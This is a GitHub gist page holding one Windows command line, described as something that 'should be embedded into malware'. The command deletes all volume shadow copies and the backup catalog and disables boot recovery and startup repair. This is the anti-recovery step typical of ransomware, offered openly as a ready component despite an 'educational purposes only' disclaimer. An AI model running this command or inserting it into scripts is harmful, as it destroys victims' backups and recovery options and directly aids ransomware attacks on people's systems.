Skip to content

Instantly share code, notes, and snippets.

@augustgl
Created January 28, 2022 21:10
Show Gist options
  • Save augustgl/66b4f301aced3402f8f5fe0d05c92dc4 to your computer and use it in GitHub Desktop.
Save augustgl/66b4f301aced3402f8f5fe0d05c92dc4 to your computer and use it in GitHub Desktop.
Delete shadow copies of volumes and disable startup repair on windows systems. Should be embedded into malware. Educational purposes only
cmd.exe /C vssadmin.exe delete shadows /all /quiet & wmic.exe shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment